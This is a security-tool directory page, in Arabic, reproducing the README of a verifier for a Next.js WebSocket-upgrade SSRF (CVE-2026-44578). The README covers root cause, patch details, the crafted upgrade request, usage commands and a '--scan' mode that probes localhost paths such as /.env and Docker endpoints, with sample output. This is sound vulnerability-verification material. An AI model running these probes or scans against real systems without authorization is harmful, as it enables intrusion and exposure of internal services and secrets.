Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
verify-ghsa-c4j6-fc7j-m34r — مدقق OOB لـ GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-upgrade SSRF) | Kitploit
أدوات/GitHubGitHub/panchocosil/verify-ghsa-c4j6-fc7j-m34r
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالفريق الأحمر
GitHubpanchocosil/verify-ghsa-c4j6-fc7j-m34r

verify-ghsa-c4j6-fc7j-m34r

مدقق OOB لـ GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-upgrade SSRF)

عرض المستودع
2منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

التحقق من GHSA-c4j6-fc7j-m34r

أداة تحقق داخل النطاق (in-band verifier) لـ GHSA-c4j6-fc7j-m34r / CVE-2026-44578 — تزوير الطلبات من جانب الخادم (SSRF) في Next.js عبر طلبات ترقية WebSocket.

⚠️ للاستخدام المصرح به في الاختبارات الأمنية فقط. أنت وحدك المسؤول عن التأكد من أن لديك الإذن لاختبار كل هدف تمرره لهذا النص البرمجي.

الثغرة

الحقلالقيمة
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CWECWE-918 (SSRF)
CVSS v3.18.6 (عالية) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
المتأثرnext >=13.4.13 <15.5.16, >=16.0.0 <16.2.5
المُصحَّح15.5.16, 16.2.5
commit التصحيحc4f69086
غير المتأثرالمستضاف على Vercel؛ output: "export"؛ النشر خلف وكيل عكسي لا يمرر Upgrade

كيف تعمل الثغرة فعلياً (تم التحقق تجريبياً ضد 15.5.15 مقارنة بـ 15.5.16)

  1. يفتح المهاجم اتصال TCP بعملية Next.js مستضافة ذاتياً ويرسل طلب ترقية WebSocket HTTP/1.1 URI طلبه هو URL مطلق:

    root@kitploit:~
    GET http://anything/<path> HTTP/1.1
    Host: <target>
    Connection: Upgrade
    Upgrade: websocket
    Sec-WebSocket-Version: 13
    Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
    
  2. في resolveRoutes، يحتوي URL على // (كل URI مطلق يفعل ذلك)، مما يطابق فرع "تطبيع الشرطات المكررة". يعود هذا الفرع مبكراً بـ { finished: true, statusCode: 308, parsedUrl: <mangled> }. يقوم المطبع بتجميع http://host/path إلى http:/host/path (شرطة واحدة).

  3. في router-server.ts، تجاهل معالج الترقية قبل التصحيح finished/statusCode وتحقق فقط من parsedUrl.protocol. نظراً لأن البروتوكول ينجو من التطبيع، فقد استدعى proxyRequest(...).

  4. يقوم proxyRequest بتشغيل url.format(parsedUrl) على URL المشوه، فيحصل على http:/host:port/path. يحلل http-proxy هذا الهدف، ولا يجد مضيفاً (url.parse('http:/...').host === null)، ويلجأ إلى وجهته الافتراضية: localhost:80 (أو localhost:443 لـ https).

  5. لذا عملياً، يسمح لك SSRF بأن يفتح Next ترقية WebSocket إلى localhost:80 / localhost:443 لمضيف Next نفسه بمسار يتحكم فيه المهاجم.

قام التصحيح (commit c4f69086) بجعل معالج الترقية يتحقق من finished && !statusCode قبل التوكيل. حالة التطبيع 308 تفشل الآن في التحقق !statusCode ويتم إغلاق الـ socket بدلاً من ذلك.

لماذا لا يعمل محقق خارج النطاق (callback-based OOB verifier) لهذه الثغرة

لا يصل الوكيل أبداً إلى مضيف خارجي. إذا قمت بإعداد interactsh / Burp Collaborator / webhook canary وتوقعت أن تقوم عملية Next بالاتصال بالخارج، فلن يحدث — فالاتصال يذهب إلى localhost على الجهاز المستهدف. لذلك يستخدم هذا المحقق إشارة داخل النطاق (in-band) تُقرأ من socket الترقية: الخادم الضعيف يُرجع نص خطأ يمكن التعرف عليه، والخادم المُصحَّح لا يُرجع شيئاً.

الأثر العملي

هدف SSRF محدود لكنه لا يزال ذا معنى في النشر الفعلي:

  • حاويات جانبية / وكلاء عكسيون / لوحات إدارة موجودة على نفس المضيف والتي تربط 127.0.0.1:80 أو :443 وتثق في الطلبات القادمة من localhost.
  • مقبس Docker مكشوف عبر HTTP على 127.0.0.1:80 (غير شائع لكن يُرى).
  • اجتياز المسار (path traversal) إلى أي خدمة HTTP على localhost بمسار URI يتحكم به المهاجم ودلالات ترقية WebSocket.

نقاط نهاية بيانات تعريف AWS / GCP / Azure (169.254.169.254) غير قابلة للوصول مباشرة لأن الثغرة تثبت الوجهة إلى localhost.

نموذج الكشف

لكل هدف، يفتح النص البرمجي socket TCP خام (أو TLS)، يرسل الترقية المصممة، يقرأ الرد، وينتج إشارتين:

  • verdict — ما إذا كانت الثغرة موجودة.
  • impact_confirmed — ما إذا كان SSRF قد قام بالفعل بتسريب بيانات (أي خدمة مشتركة على localhost:80/443 للهدف أجابت وحصلنا على ردها).
الردالحكم (verdict)impact_confirmed
يحتوي على Internal Server Errorvulnerablefalse — تم إثبات الثغرة، لكن الوكيل لم يجد شيئاً على localhost
يبدأ بـ HTTP/1.vulnerable_proxy_succeededtrue — تم تسريب بيانات رد فعلية
فارغ / إغلاق نظيفlikely_patchedfalse — يغطي أيضاً "ليس Next"، "وكيل عكسي أزال Upgrade"، "Vercel"
مطابق لعنصر التحكم بدون Upgradefront_end_interceptsfalse — وكيل الواجهة الأمامية قام بقصر كلا الاستقصائين؛ لم يصل SSRF إلى Next
أي شيء آخرinconclusivefalse

عندما يكون impact_confirmed صحيحاً، يتضمن الناتج JSON أيضاً upstream_status و upstream_server و upstream_content_type المستخرجة من الرد المسرب (مفيدة للفرز / كتابة التقارير).

حماية ضد النتائج الإيجابية الخاطئة من وكيل الواجهة الأمامية

افتراضياً، يتلقى كل هدف أيضاً استقصاء تحكم (control probe) بنفس سطر الطلب URI المطلق ولكن بدون رؤوس Upgrade (Connection: close). إذا أعادت الواجهة الأمامية نفس الرد لكلا الاستقصائين (سطر الحالة + الحجم ضمن التسامح)، فإن واجهة الهدف الأمامية هي التي ترفض سطر طلب URI المطلق نفسه — nginx 400، Apache 400، حافة CDN — ولم يصل SSRF إلى Next. ينخفض الحكم إلى front_end_intercepts ويتضمن الناتج JSON front_end_status و front_end_server المستخرجين من رد الوكيل حتى يتمكن المشغل من تحديد ما يعترض.

هذا يلغي نتيجة إيجابية خاطئة واقعية لاحظناها عندما يكون Next المستضاف ذاتياً خلف nginx/Apache: يرفض هؤلاء الوكلاء سطر الطلب GET http:///x HTTP/1.1 الخاص بالاستقصاء بـ 400 عام، والذي كان المكتشف يقرأه سابقاً على أنه vulnerable_proxy_succeeded. مرر --no-control-probe لإلغاء الاشتراك ورؤية الأحكام الخام.

المتطلبات

  • Python 3.10+
  • لا تبعيات خارجية (stdlib فقط)

الاستخدام

root@kitploit:~
# هدف واحد
python3 verify_ghsa_c4j6.py --target https://app.example.com

# أهداف متعددة بتكرار العلامة
python3 verify_ghsa_c4j6.py \
    --target https://app1.example.com \
    --target app2.example.com:3000 \
    --target 10.0.0.5:80

# من ملف (هدف واحد لكل سطر; '#' للتعليقات)
python3 verify_ghsa_c4j6.py --targets-file targets.txt

# من stdin
cat targets.txt | python3 verify_ghsa_c4j6.py

# إخراج JSON Lines للأدوات اللاحقة
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json

# تعداد الخدمات المشتركة على localhost:80/443 للهدف عبر الثغرة
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan

# نفس الشيء، بقائمة مسارات مخصصة
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt

وضع المسح

--scan يستقصي قائمة مضمنة من المسارات الشائعة (وحدات حالة Apache/nginx، نقاط نهاية الصحة والمقاييس، Spring Boot Actuator، Go pprof، نقاط نهاية Daemon Docker، لوحات إدارة شائعة، ملفات تكوين مسربة، مسارات Elasticsearch، إلخ) عبر أداة SSRF.

افتراضياً، يشغل وضع المسح استقصاء أساسي تفاضلي (differential baseline) إضافياً بمسار عشوائي غير موجود لكل هدف. يتم وضع علامة DIFF على الاستقصاءات اللاحقة فقط عندما يختلف توقيع (الحالة، طول النص) عن الأساس — يتم تمييز 404s الموحدة من خدمة أعلى "لم تجد شيئاً" على أنها noise ولا تضخم عدد الإصابات. مرر --no-differential للإبلاغ عن كل استقصاء وصل إلى خدمة (سلوك قديم).

يتم تجميع الناتج لكل هدف:

root@kitploit:~
=== vulnscope.local:3030 ===
  baseline (random path): verdict=vulnerable_proxy_succeeded   status=404  bytes≈500
  [VULN+] DIFF  /                              impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /.env                          impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /admin                         impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /index.html                    impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /server-status                 impact=YES  status=200  ct='application/octet-stream'
  [VULN+] noise /_health                       impact=YES  status=404  ct='text/html;charset=utf-8'
  [VULN+] noise /actuator/env                  impact=YES  status=404  ct='text/html;charset=utf-8'
  ... (53 more 404 'noise' paths suppressed) ...
  -> 5 differential hit(s) / 58 probes
  -> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4

صفوف DIFF هي الإصابات الحقيقية — المسارات التي اختلف ردها عن الأساس المسار العشوائي (حالة مختلفة، طول نص مختلف). وصلت صفوف noise إلى خدمة HTTP أيضاً، لكنها أنتجت نفس الرد الممل مثل الأساس — عادةً 404s موحدة لا يهتم بها المشغل. عندما يكون كل استقصاء noise ولا يوجد تباين في الأساس، لا تزال الثغرة موجودة لكن لا شيء مفيد يستمع على localhost:80/443 لذلك المضيف.

العلامات (Flags)

العلامةالوصفالافتراضي
--target URLهدف واحد. تكرر للأهداف المتعددة.—
--targets-file PATHملف به هدف واحد لكل سطر.—
--probe-path PATHالمسار المستخدم في URI المطلق المُصمَّم. يصل إلى خدمة localhost للهدف على هذا المسار (يُسجَّل كلاحقة رمز خاص بكل هدف)./x
--scanتعداد المسارات الشائعة على خدمة localhost لكل هدف. يرسل استقصاء أساس تفاضلي واحد لكل هدف بالإضافة إلى قائمة المسارات.off
--scan-paths-file PATHقائمة مسارات مخصصة لوضع المسح (واحد لكل سطر). يفرض --scan.built-in
--no-differentialفي وضع --scan، تخطى استقصاء الأساس وأبلغ عن كل استقصاء وصل إلى خدمة (سلوك قديم).off
--no-control-probeتعطيل حماية الدائرة القصيرة للواجهة الأمامية (استقصاء إضافي بدون Upgrade لكل هدف). مفيد عندما تكون الأهداف معروفة بدقة على أنها عمليات Next مباشرة.off
--timeout SECمهلة لكل socket.5
--concurrency Nالاستقصاءات المتوازية.10
--insecureتخطي التحقق من شهادة TLS. مطلوب مع --proxy عند MITM لـ TLS.off
--proxy URLالنفق عبر وكيل HTTP CONNECT (Burp / mitmproxy / ZAP). يدعم المصادقة الأساسية عبر http://user:pass@host:port. يتطلب Python 3.11+ للأهداف TLS.direct
--jsonإخراج JSON Lines بدلاً من النص البشري.off

يمكن أن تكون الأهداف host أو host:port أو عناوين URL كاملة http(s)://....

دعم الوكيل (Proxy)

نفق جميع الاستقصاءات عبر وكيل HTTP CONNECT للفحص في Burp / mitmproxy / OWASP ZAP:

root@kitploit:~
# هدف HTTP عادي عبر Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080

# هدف HTTPS عبر Burp (يقوم Burp بـ MITM لـ TLS — تحتاج --insecure أو تثبيت شهادة Burp)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure

# وكيل مع مصادقة أساسية
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128

يرى الوكيل CONNECT host:port متبوعاً بالحمولة الخام للترقية — مفيد عندما تريد من Burp تسجيل/إعادة/تعديل استقصاءات SSRF.

إعادة الإنتاج محلياً

يمكنك تشغيل مختبر ضعيف بخمس أوامر:

root@kitploit:~
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030

الناتج:

root@kitploit:~
[ VULN] target=127.0.0.1:3030  verdict=vulnerable  impact= no
        snippet: 'Internal Server Error'

كرر مع [email protected] ويجب أن ترى verdict=likely_patched.

عرض الأثر (تسريب بيانات حقيقي)

يقوم demo_impact.sh بتشغيل Next على :80 (بحيث يكون هدف SSRF المثبت على localhost هو نفس عملية Next) ويقرأ HTML الخاص بـ Next مرة أخرى عبر الثغرة. يتطلب sudo لربط المنفذ المميز.

root@kitploit:~
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh

الناتج المتوقع ينتهي بـ IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back.

تحذيرات (Caveats)

  • النتائج السلبية الخاطئة (False negatives): أي وكيل عكسي أمام Next لا يقوم بتمرير رأس Upgrade سيخفي الثغرة؛ سيعيد النص البرمجي likely_patched. أعد الاختبار مباشرة ضد عملية Next إذا كان بإمكانك.
  • النتائج الإيجابية الخاطئة (False positives): قد يُرجع النص الحرفي Internal Server Error نظرياً بواسطة وكيل علوي بمفرده. لاستبعاد ذلك، أعد إرسال نفس الحمولة مع Connection: close بدلاً من Connection: Upgrade — يتوقف Next الضعيف الحقيقي عن إرجاع نص Internal Server Error في هذه الحالة (مسار كود مختلف).
  • الأهداف التي تستخدم HTTP/2 فقط: غير معالجة. next start يُفترض أن يستخدم HTTP/1.1.

الاستخدام المسؤول

اختبر فقط الأنظمة التي تملكها أو لديك إذن صريح مكتوب لتقييمها.

المراجع

  • الإعلان: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • إصدار Next.js v15.5.16: https://github.com/vercel/next.js/releases/tag/v15.5.16
  • إصدار Next.js v16.2.5: https://github.com/vercel/next.js/releases/tag/v16.2.5
  • commit التصحيح: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8

الترخيص

MIT

تنزيل الأداة